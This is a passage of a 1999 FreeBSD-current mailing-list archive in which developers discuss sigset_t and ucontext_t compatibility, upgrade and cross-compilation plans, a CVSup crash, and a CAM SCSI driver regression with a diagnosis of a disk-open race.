Message-ID: <37F52173.8F4B6FF8@scc.nl>
Date: Fri, 01 Oct 1999 23:02:43 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Daniel Eischen <eischen@vigrid.com>
Cc: des@flood.ping.uio.no, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199910011936.PAA11014@pcnet1.pcnet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Daniel Eischen wrote:
> 
> Marcel Moolenaar wrote:
> > Dag-Erling Smorgrav wrote:
> > >
> > > How about this: early in make world, we check whether or not the
> > > current kernel supports the new syscalls. If it does, good. If it
> > > doesn't, we build and load a small module which installs syscalls
> > > which translate the sigset_t stuff into something the old syscalls can
> > > grok. Does that make sense to any of you guys?
> >
> > That has been proposed by someone (sorry, I can't remember who exactly).
> > We still need a consensus as to what we should do. Personally, I now
> > like to fix this at the core of the problem: truly support
> > cross-compilations. This implies (IMO) that the source tree is never
> > used to build the tools with which a world is built (ideally). Such a
> > solution may take too long to be implemented to be used as a solution
> > now, though.
> 
> But this still doesn't entirely solve the problem.  You still have
> to build and install a new kernel before installing the world.
> While this is typically what most -current folks do anyways, it
> still prevents backing up to a previous kernel after the install
> world.

You can easily install a kernel as part of the upgrade process. A
complete upgrade would be something like:

1. Verify and/or install cross-compilation tools
2. Build world
3. Build kernel
4. Copy tools that are used by the install process
5. install kernel
6. install world
7. reboot

If you install a kernel before installing world, you can easily recover
when the install world fails: reboot. The new kernel is capable of
running those binaries that got installed before the breakage.

> It seems like libc should be built to be compatible with the kernel
> that is currently running. After installing world and testing the
> new kernel, a subsequent make world (or some other target to get
> just the libs) can be done to make the libs use the new syscalls.

You still want to use the source tree to tools that run on the machine
that does the building. Assume for a moment that such can't be done.
What you get is real cross-compilation.

> This is why I kind of like (was it?) Peter Wemms libc hack.

It's a solution that may work out very well, yes. But it seems to me
that cross-compilation is on everybodies wishlist for as long as FreeBSD
exists (well almost :-) That's why I'm pressing it. This doesn't rule
out interim solutions of course. Real cross-compilation may not be worth
the effort/problems, but you can't really tell if you haven't tried
it...

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 14:38:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from bearmtn-e0.cgd.ucar.edu (bearmtn-e0.cgd.ucar.edu [128.117.24.2])
	by hub.freebsd.org (Postfix) with ESMTP id 0C051152CF
	for <freebsd-current@freebsd.org>; Fri,  1 Oct 1999 14:37:49 -0700 (PDT)
	(envelope-from sitongia@cgd.ucar.edu)
Received: from shambhala.cgd.ucar.edu (shambhala [128.117.24.6])
	by bearmtn-e0.cgd.ucar.edu (8.9.3/8.9.3) with ESMTP id PAA20597
	for <freebsd-current@freebsd.org>; Fri, 1 Oct 1999 15:37:47 -0600 (MDT)
Received: (from sitongia@localhost)
	by shambhala.cgd.ucar.edu (8.9.3/8.9.3) id PAA04480
	for freebsd-current@freebsd.org; Fri, 1 Oct 1999 15:37:42 -0600 (MDT)
Date: Fri, 1 Oct 1999 15:37:42 -0600 (MDT)
From: Leonard Sitongia <sitongia@cgd.ucar.edu>
Message-Id: <199910012137.PAA04480@shambhala.cgd.ucar.edu>
To: freebsd-current@freebsd.org
Subject: CVSup core dumps
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I updated yesterday, installed the world and a new kernel.  That all
worked.  Today when I run cvsup with the same supfile I used yesterday
I get a core dump:

# cvsup /root/current-supfile


***
*** runtime error:
***    Segmentation violation - possible attempt to dereference NIL
***

Abort trap (core dumped)         # cvsup /root/current-supfile


If I truss it, with truss cvsup supfile, it works.

# file cvsup.core
cvsup.core: data      

# gdb cvsup.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...

"/usr/ports/lang/modula-3/cvsup.core": not in executable format: File format not recognized

(I'm in that directory in order to rebuild cvsup for this build to get
cvsup working again, but I can't compile modula-3...).

Is there a new static binary to use?

I thought the problem was my hostname, which was null, but I went ahead
and set that (this is on a laptop doing DHCP).

TIA,
==Leonard


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 15: 3:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP
	id AC59A14CD1; Fri,  1 Oct 1999 15:03:50 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id A90A71CA7; Sat,  2 Oct 1999 06:03:48 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: phk@freebsd.org
Cc: current@freebsd.org
Subject: BEWARE: CAM changes broke AHC!
Date: Sat, 02 Oct 1999 06:03:48 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19991001220348.A90A71CA7@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

If you boot with a -current kernel:

(da0:ahc0:0:0:0) data overrun detected in Data-In phase. Tag = 0x8
(da0:ahc0:0:0:0) Have seen Data Phase.  Length = 0, NumSGs = 1

Backing out the following sys/cam/scsi change set:

revision 1.39
date: 1999/10/01 09:34:09;  author: phk;  state: Exp;  lines: +47 -117
Introduce the disk mini-layer and devstat_end_transaction_buf() in cam/scsi.

..and the other files touched at the same time revived it and made the
system bootable again.

I am particularly suspicious about this:

@@ -284,26 +283,14 @@
                return (error); /* error code from tsleep */
        }
 
-       if ((softc->flags & DA_FLAG_OPEN) == 0) {
-               if (cam_periph_acquire(periph) != CAM_REQ_CMP)
-                       return(ENXIO);
-               softc->flags |= DA_FLAG_OPEN;
-       }
+       if (cam_periph_acquire(periph) != CAM_REQ_CMP)
+               return(ENXIO);
+       softc->flags |= DA_FLAG_OPEN;

At first glance, it would appear it's re-inquiring on each open instead of
the first open, including while it's mounted. I wasn't sure, so rather than
risk disks, I backed the lot out and it worked again.

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 15:40:13 1999
Delivered-To: freebsd-current@freebsd.org
Received: from scam.xcf.berkeley.edu (scam.XCF.Berkeley.EDU [128.32.43.201])
	by hub.freebsd.org (Postfix) with SMTP id 4B0C614C39
	for <freebsd-current@freebsd.org>; Fri,  1 Oct 1999 15:40:11 -0700 (PDT)
	(envelope-from nordwick@scam.xcf.berkeley.edu)
Received: (qmail 53322 invoked by uid 27268); 1 Oct 1999 22:39:33 -0000
Message-ID: <19991001223933.53321.qmail@scam.xcf.berkeley.edu>
To: freebsd-current@freebsd.org
Subject: machine freeze at boot
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <53320.938817573.1@scam.XCF.Berkeley.EDU>
Date: Fri, 01 Oct 1999 15:39:33 -0700
From: "Jason Nordwick" <nordwick@scam.xcf.berkeley.edu>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In the last month something has changed that now causes my machine to
lock up just before PCI bus detection (I don't know if it happens in
the PCI detection or in the driver before that).  It appears that it
happens early enough that the kernel debugger isn't ready, yet, as the
magic C-A-Esc doesn't drop me into kdb.  I don't have my motherboard
specifications handy, but does anybody know of why this might be occuring.

thanks
-jason



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 15:43:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id E86C915166
	for <current@FreeBSD.org>; Fri,  1 Oct 1999 15:43:43 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id AAA39564
	for current@FreeBSD.org; Sat, 2 Oct 1999 00:35:38 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Sat, 02 Oct 1999 00:35:31 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F53733.2065DD65@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <199910012137.PAA04480@shambhala.cgd.ucar.edu>
Subject: Re: CVSup core dumps
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Leonard Sitongia wrote:
> 
> Is there a new static binary to use?
> 

No. Using an old one should fix this.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 15:56:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28])
	by hub.freebsd.org (Postfix) with ESMTP id 172C114E3D
	for <freebsd-current@FreeBSD.ORG>; Fri,  1 Oct 1999 15:56:29 -0700 (PDT)
	(envelope-from chris@holly.dyndns.org)
Received: from holly.dyndns.org ([216.62.157.60]) by mta4.rcsntx.swbell.net
 (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8)
 with ESMTP id <0FIY009AN5236R@mta4.rcsntx.swbell.net> for
 freebsd-current@FreeBSD.ORG; Fri,  1 Oct 1999 17:56:28 -0500 (CDT)
Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3)
 id RAA02848; Fri, 01 Oct 1999 17:57:15 -0500 (CDT envelope-from chris)
X-URL: http://www.FreeBSD.org/~chris/
Date: Fri, 01 Oct 1999 17:57:14 -0500
From: Chris Costello <chris@calldei.com>
Subject: Re: CVSup core dumps
In-reply-to: <199910012137.PAA04480@shambhala.cgd.ucar.edu>
To: Leonard Sitongia <sitongia@cgd.ucar.edu>
Cc: freebsd-current@FreeBSD.ORG
Reply-To: chris@calldei.com
Message-id: <19991001175714.E637@holly.calldei.com>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii
User-Agent: Mutt/0.96.4i
X-Operating-System: FreeBSD 4.0-CURRENT (i386)
References: <199910012137.PAA04480@shambhala.cgd.ucar.edu>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999, Leonard Sitongia wrote:
> # gdb cvsup.core
> GNU gdb 4.18
> Copyright 1998 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, and you are
> welcome to change it and/or distribute copies of it under certain conditions.
> Type "show copying" to see the conditions.
> There is absolutely no warranty for GDB.  Type "show warranty" for details.
> This GDB was configured as "i386-unknown-freebsd"...
> 
> "/usr/ports/lang/modula-3/cvsup.core": not in executable format: File format not recognized

   Try ``gdb cvsup cvsup.core''

-- 
|Chris Costello <chris@calldei.com>
|If you're not part of the solution, be part of the problem!
`-----------------------------------------------------------


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 16:12:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wopr.caltech.edu (wopr.caltech.edu [131.215.240.222])
	by hub.freebsd.org (Postfix) with ESMTP id CD33314E01
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 16:12:50 -0700 (PDT)
	(envelope-from mph@wopr.caltech.edu)
Received: (from mph@localhost)
	by wopr.caltech.edu (8.9.3/8.9.1) id QAA38371;
	Fri, 1 Oct 1999 16:12:18 -0700 (PDT)
	(envelope-from mph)
Date: Fri, 1 Oct 1999 16:12:18 -0700
From: Matthew Hunt <mph@astro.caltech.edu>
To: Poul-Henning Kamp <phk@critter.freebsd.dk>
Cc: A.Leidinger@WJPServer.CS.Uni-SB.de, current@FreeBSD.ORG
Subject: Re: ahc failure while updating from pre-signal-change
Message-ID: <19991001161218.A38231@wopr.caltech.edu>
References: <199910011854.UAA00516@work.net.local> <12273.938806551@critter.freebsd.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <12273.938806551@critter.freebsd.dk>; from Poul-Henning Kamp on Fri, Oct 01, 1999 at 09:35:51PM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, Oct 01, 1999 at 09:35:51PM +0200, Poul-Henning Kamp wrote:

> Please boot your old system and email the output from
> 	fdisk da0
> 	disklabel da0

> >---snip---
> >(da0:ahc0:0:0:0): have seen Data Phase. Length = 0. NumSGs = 1.
> >(da0:ahc0:0:0:0): data overrun detected in Data-In phase. Tag == 0xe.
> >/dev/rda0s1a: CANNOT READ: BLK 16
> >---snip---

I am in exactly the same boat.

wopr:~$ fdisk da0
******* Working on device /dev/rda0 *******
parameters extracted from in-core disklabel are:
cylinders=29310 heads=29 sectors/track=21 (609 blks/cyl)

Figures below won't work with BIOS for partitions not in cyl 1
parameters to be used for BIOS calculations are:
cylinders=29310 heads=29 sectors/track=21 (609 blks/cyl)

Media sector size is 512
Warning: BIOS sector numbering starts with sector 1
Information from DOS bootblock is:
The data for partition 1 is:
sysid 165,(FreeBSD/NetBSD/386BSD)
    start 0, size 17850000 (8715 Meg), flag 80 (active)
        beg: cyl 0/ sector 1/ head 0;
        end: cyl 1023/ sector 21/ head 28
The data for partition 2 is:
<UNUSED>
The data for partition 3 is:
<UNUSED>
The data for partition 4 is:
<UNUSED>

wopr:~$ disklabel da0
# /dev/rda0c:
type: SCSI
disk: da0s1
label: 
flags:
bytes/sector: 512
sectors/track: 63
tracks/cylinder: 255
sectors/cylinder: 16065
cylinders: 1111
sectors/unit: 17850000
rpm: 3600
interleave: 1
trackskew: 0
cylinderskew: 0
headswitch: 0           # milliseconds
track-to-track seek: 0  # milliseconds
drivedata: 0 

8 partitions:
#        size   offset    fstype   [fsize bsize bps/cpg]
  a:  1048576        0    4.2BSD     1024  8192    16   # (Cyl.    0 - 65*)
  b:   524288  1048576      swap                        # (Cyl.   65*- 97*)
  c: 17850000        0    unused        0     0         # (Cyl.    0 - 1111*)
  d:  5103248 12746752    4.2BSD     1024  8192    16   # (Cyl.  793*- 1111*)
  e:  4194304  1572864    4.2BSD     1024  8192    16   # (Cyl.   97*- 358*)
  f:  4194304  5767168    4.2BSD     1024  8192    16   # (Cyl.  358*- 620*)
  g:  1392640  9961472    4.2BSD     1024  8192    16   # (Cyl.  620*- 706*)
  h:  1392640 11354112    4.2BSD     1024  8192    16   # (Cyl.  706*- 793*)


-- 
Matthew Hunt <mph@astro.caltech.edu> * UNIX is a lever for the
http://www.pobox.com/~mph/           * intellect. -J.R. Mashey


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 16:19:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from feral.com (feral.com [192.67.166.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id 5D55514E01; Fri,  1 Oct 1999 16:19:38 -0700 (PDT)
	(envelope-from mjacob@feral.com)
Received: from beppo.feral.com (beppo [192.67.166.79])
	by feral.com (8.8.7/8.8.7) with ESMTP id QAA17998;
	Fri, 1 Oct 1999 16:16:43 -0700
Date: Fri, 1 Oct 1999 16:16:33 -0700 (PDT)
From: Matthew Jacob <mjacob@feral.com>
Reply-To: mjacob@feral.com
To: Peter Wemm <peter@netplex.com.au>
Cc: phk@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: BEWARE: CAM changes broke AHC!
In-Reply-To: <19991001220348.A90A71CA7@overcee.netplex.com.au>
Message-ID: <Pine.BSF.4.10.9910011615021.50024-100000@beppo.feral.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


While I don't dispute that the change rolling/rollout fixed what you see,
I'd have to say that if they're related there are *far* more serious
problems in there.

> (da0:ahc0:0:0:0) data overrun detected in Data-In phase. Tag = 0x8
> (da0:ahc0:0:0:0) Have seen Data Phase.  Length = 0, NumSGs = 1
> 
> Backing out the following sys/cam/scsi change set:
> 
> revision 1.39
> date: 1999/10/01 09:34:09;  author: phk;  state: Exp;  lines: +47 -117
> Introduce the disk mini-layer and devstat_end_transaction_buf() in cam/scsi.
> 
> ..and the other files touched at the same time revived it and made the
> system bootable again.
> 
> I am particularly suspicious about this:
> 
> @@ -284,26 +283,14 @@
>                 return (error); /* error code from tsleep */
>         }
>  
> -       if ((softc->flags & DA_FLAG_OPEN) == 0) {
> -               if (cam_periph_acquire(periph) != CAM_REQ_CMP)
> -                       return(ENXIO);
> -               softc->flags |= DA_FLAG_OPEN;
> -       }
> +       if (cam_periph_acquire(periph) != CAM_REQ_CMP)
> +               return(ENXIO);
> +       softc->flags |= DA_FLAG_OPEN;
> 
> At first glance, it would appear it's re-inquiring on each open instead of
> the first open, including while it's mounted. I wasn't sure, so rather than
> risk disks, I backed the lot out and it worked again.
> 
> Cheers,
> -Peter
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 16:41:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 684E614F24
	for <current@freebsd.org>; Fri,  1 Oct 1999 16:41:12 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11XCJw-0005vj-00; Fri, 1 Oct 1999 23:42:36 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id BAA66994;
	Sat, 2 Oct 1999 01:41:04 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F5468F.7F214FB3@scc.nl>
Date: Sat, 02 Oct 1999 01:41:03 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Nate Williams <nate@mt.sri.com>
Cc: current@FreeBSD.org, Bruce Evans <bde@zeta.org.au>,
	John Polstra <jdp@polstra.com>, Alan Cox <alc@cs.rice.edu>,
	Peter Wemm <peter@netplex.com.au>
Subject: Re: sigset_t: a summary
References: <37F47CD8.9F676F08@scc.nl> <199910011506.JAA03438@mt.sri.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Nate Williams wrote:
> 
> > 1. Should the ucontext_t changes be backed out, or is this the
> >    way we would like to go? (but only it better :-)
> 
> We need something.  Rather than say 'something better', I'd need to see
> what that better things is.  However, given Bruce's comments earlier, it
> seems like we need to have ucontext_t to stay compatible.

This is better:

typedef struct __ucontext_t {
        /*
         * Keep the order of the first two fields. Also,
         * keep them the first to fields in the structure.
         * This way we can have a union with struct
         * sigcontext and ucontext_t. This allows us to
         * support them both at the same time.
         * note: the union is not defined, though.
         */
        mcontext_t      uc_mcontext;
        sigset_t        uc_sigmask;

        struct __ucontext_t *uc_link;
        stack_t         uc_stack;
        int             __spare__[8];
} ucontext_t;

typedef struct __mcontext_t {
        /*
         * The first 3 fields are must match the definition
         * of sigcontext. So that we can support sigcontext
         * and ucontext at the same time.
         */
        int     mc_onstack;             /* XXX - struct sigcontext
compat. */
        int     mc_gs;
        struct  trapframe mc_tf;

        int     mc_fpregs[28];          /* env87 + fpacc87 + u_long */
        int     __spare__[16];
} mcontext_t;

struct  sigcontext {
        int     sc_onstack;             /* sigstack state to restore */
        int     sc_gs;
        int     sc_fs;
        int     sc_es;
        int     sc_ds;
        int     sc_edi;
        int     sc_esi;
        int     sc_ebp;
        int     sc_isp;
        int     sc_ebx;
        int     sc_edx;
        int     sc_ecx;
        int     sc_eax;
        int     sc_trapno;
        int     sc_err;
        int     sc_eip;
        int     sc_cs;
        int     sc_efl;
        int     sc_esp;                 /* machine state */
        int     sc_ss;
        int     sc_fpregs[28];          /* XXX - mcontext_t compat. */
        int     sc_spare[16];           /* XXX - mcontext_t compat. */
        sigset_t sc_mask;               /* signal mask to restore */
};

The Alpha port has similar construct...

The third argument can now be defined as either struct sigcontext or as
ucontext_t.

<Yawn> -- Off to bed...

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 17:59: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pozo.com (pozo.com [216.101.162.50])
	by hub.freebsd.org (Postfix) with ESMTP
	id D178814C0A; Fri,  1 Oct 1999 17:59:03 -0700 (PDT)
	(envelope-from mantar@pacbell.net)
Received: from dual (dual.pozo.com [216.101.162.51])
	by pozo.com (8.9.3/8.9.3) with ESMTP id RAA00298;
	Fri, 1 Oct 1999 17:55:31 -0700 (PDT)
	(envelope-from mantar@pacbell.net)
Message-Id: <4.2.1.9.19991001175133.00aa75c0@216.101.162.50>
X-Sender: null@216.101.162.50
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.1.9 (Beta)
Date: Fri, 01 Oct 1999 17:55:30 -0700
To: Peter Wemm <peter@netplex.com.au>, phk@FreeBSD.ORG
From: Manfred Antar <mantar@pacbell.net>
Subject: Re: BEWARE: CAM changes broke AHC!
Cc: current@FreeBSD.ORG
In-Reply-To: <19991001220348.A90A71CA7@overcee.netplex.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 06:03 AM 10/02/99 +0800, Peter Wemm wrote:
>If you boot with a -current kernel:
>
>(da0:ahc0:0:0:0) data overrun detected in Data-In phase. Tag = 0x8
>(da0:ahc0:0:0:0) Have seen Data Phase.  Length = 0, NumSGs = 1
>
>Backing out the following sys/cam/scsi change set:
Something also happened on my system with a DPT controller
and builtin adaptec scsi on mother board. (Intel PR440FX)
The system just hangs right after mounting the swap.
A kernel from yesterday works fine.
The boot disk is on the DPT controller (Raid Type 1)
Nothing on the adaptec but a CDROM.
Manfred
=====================
||    mantar@pacbell.net       ||
||    Ph. (415) 681-6235        ||
=====================



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 20: 0:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id D204D14E47; Fri,  1 Oct 1999 20:00:04 -0700 (PDT)
	(envelope-from bde@zeta.org.au)
Received: from d222.syd2.zeta.org.au (beefcake.zeta.org.au [203.26.10.12])
	by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id MAA17914;
	Sat, 2 Oct 1999 12:58:22 +1000
Date: Sat, 2 Oct 1999 12:57:07 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-Sender: bde@alphplex.bde.org
To: Peter Wemm <peter@netplex.com.au>
Cc: phk@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: BEWARE: CAM changes broke AHC!
In-Reply-To: <19991001220348.A90A71CA7@overcee.netplex.com.au>
Message-ID: <Pine.BSF.4.10.9910021208310.2026-100000@alphplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I am particularly suspicious about this:
> 
> @@ -284,26 +283,14 @@
>                 return (error); /* error code from tsleep */
>         }
>  
> -       if ((softc->flags & DA_FLAG_OPEN) == 0) {
> -               if (cam_periph_acquire(periph) != CAM_REQ_CMP)
> -                       return(ENXIO);
> -               softc->flags |= DA_FLAG_OPEN;
> -       }
> +       if (cam_periph_acquire(periph) != CAM_REQ_CMP)
> +               return(ENXIO);
> +       softc->flags |= DA_FLAG_OPEN;
> 
> At first glance, it would appear it's re-inquiring on each open instead of
> the first open, including while it's mounted. I wasn't sure, so rather than
> risk disks, I backed the lot out and it worked again.

daopen() is now supposed to be called only if the physical device is not
already open for some subdevice.  However, some old races seem to be back.

Suppose there are concurrent opens on the same device.  Both will find
dsisopen() == 0 in diskopen(), since dsopen() is not called until after
daopen() completes, so both will enter daopen(), but daopen() is no longer
designed to handle concurrent opens.  The first one will obtain a lock
(slightly before the above code) and the second one will sleep.  The second
one will continue in daopen() after the first daopen() completes, and will
apparently do some damage.  One possible source of damage is clobbering the
label while the first of the two opens is still using it.  There are a lot
of i/o's which will block and allow the opens to get in each others way.
The old version unnecessarily did a full physical open for all non-first
opens, not just for racing ones, but it had no problems with the label since
the label was a local variable.

Fix: move the locking up to diskopen().

There may be similar problems for last-closes.  There should be locks to
prevent opens while last-closes are in progress.  Note that checks of
vcount() in vfs don't provide sufficent locking for multiplexed physical
devices like disks and and sio/cua, since concurrent last-closes are
possible for different subdevices.

Bruce



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 21:18:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id 2B07914C2A
	for <current@FreeBSD.ORG>; Fri,  1 Oct 1999 21:18:25 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p25-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.122])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id NAA12049;
	Sat, 2 Oct 1999 13:16:41 +0900 (JST)
Message-ID: <37F586CB.EBFC8D26@newsguy.com>
Date: Sat, 02 Oct 1999 13:15:07 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Warner Losh <imp@village.org>
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	"Jordan K. Hubbard" <jkh@zippy.cdrom.com>, dmaddox@conterra.com,
	Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
References: <37F1BA64.29B5251C@newsguy.com>  <199909271853.LAA12927@gndrsh.dnsmgr.net> <199909292216.QAA06430@harmony.village.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Warner Losh wrote:
> 
> In message <37F1BA64.29B5251C@newsguy.com> "Daniel C. Sobral" writes:
> : Let me chime in here. We *DO* care about ancient AIC drivers as long
> : as no PCMCIA alternative exists.
> 
> Justin has said that porting old scsi aic to cam wouldn't be too hard,
> but would still provide a level of buginess that is too high..
> Otherwise, i'd have done that a long time ago...

I don't know, I have never used the aic driver before. It would seem
that aic users were not that unhappy with the driver.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it done unto yours


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1 21:21:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP
	id 21C7C14E21; Fri,  1 Oct 1999 21:21:45 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p25-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.122])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id NAA12552;
	Sat, 2 Oct 1999 13:21:16 +0900 (JST)
Message-ID: <37F587DE.32379DAD@newsguy.com>
Date: Sat, 02 Oct 1999 13:19:42 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
